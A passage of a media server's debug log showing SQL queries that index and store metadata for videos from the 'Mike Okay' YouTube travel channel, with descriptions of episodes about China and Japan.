- China's Working Class Is Live-Streaming To Survive.mp4", false, false, false, 3, [], 98, ~U[2026-07-31 14:42:45Z], ~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z], "Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, 3, ~U[2026-07-31 14:42:45Z]] 17:27:24.949 [debug] QUERY OK source="sources" db=0.1ms idle=410.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:24.949 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-17 15:59:10Z], 3] 17:27:24.950 [debug] QUERY OK source="media_items" db=0.8ms idle=2.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "5cb29d5b-2a75-44d3-b617-f95539911801", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", 2, "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, false, false, 3, [], 98, ~U[2026-07-17 15:59:10Z], ~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, 3, ~U[2026-07-17 15:59:10Z]] 17:27:24.951 [debug] QUERY OK source="sources" db=0.1ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:24.951 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-26 19:42:50Z], 3] 17:27:24.954 [debug] QUERY OK source="media_items" db=2.5ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "d8131341-a5ce-4d7d-b982-a624401d5685", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", 3, "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, false, false, 3, [], 98, ~U[2026-06-26 19:42:50Z], ~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, 3, ~U[2026-06-26 19:42:50Z]] 17:27:24.954 [debug] QUERY OK source="sources" db=0.1ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:24.955 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-19 15:55:20Z], 3] 17:27:24.956 [debug] QUERY OK source="media_items" db=0.7ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "70d8a3e9-c242-4e08-8c43-311e5ddf92e3", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", 4, "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, false, false, 3, [], 98, ~U[2026-06-19 15:55:20Z], ~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z], "Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, 3, ~U[2026-06-19 15:55:20Z]] 17:27:24.956 [debug] QUERY OK source="sources" db=0.3ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:24.957 [debug] QUERY OK source="media_items" db=0.3ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-12 16:37:29Z], 3] 17:27:24.958 [debug] QUERY OK source="media_items" db=0.8ms idle=2.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "1119aafc-bfce-4054-9bdd-57d2ef047498", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", 5, "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, false, false, 3, [], 98, ~U[2026-06-12 16:37:29Z], ~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z], "https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, 3, ~U[2026-06-12 16:37:29Z]] 17:27:24.959 [debug] QUERY OK source="sources" db=0.2ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:24.959 [debug] QUERY OK source="media_items" db=0.2ms idle=2.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 14:56:32Z], 3] 17:27:24.960 [debug] QUERY OK source="media_items" db=0.6ms idle=2.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "69470970-5ac3-4825-89b8-b9ea6b9843b8", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", 6, "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, false, false, 3, [], 98, ~U[2026-05-29 14:56:32Z], ~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, 3, ~U[2026-05-29 14:56:32Z]] 17:27:24.960 [debug] QUERY OK source="sources" db=0.1ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:24.961 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 16:10:43Z], 3] 17:27:24.962 [debug] QUERY OK source="media_items" db=0.7ms idle=2.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "a444fa9b-25f2-4948-b08d-c3335b856b80", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", 7, "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, false, false, 3, [], 98, ~U[2026-05-22 16:10:43Z], ~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, 3, ~U[2026-05-22 16:10:43Z]] 17:27:24.962 [debug] QUERY OK source="sources" db=0.2ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:24.963 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-24 14:29:43Z], 3] 17:27:24.964 [debug] QUERY OK source="media_items" db=0.9ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "9634440c-7273-4a8f-b35c-8071257354d5", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", 8, "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, false, false, 3, [], 98, ~U[2026-04-24 14:29:43Z], ~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z], "Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, 3, ~U[2026-04-24 14:29:43Z]] 17:27:24.964 [debug] QUERY OK source="sources" db=0.1ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:24.965 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-10 16:12:23Z], 3] 17:27:24.966 [debug] QUERY OK source="media_items" db=0.9ms idle=2.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to my sponsor https://betterhelp.com/mikeokay to get 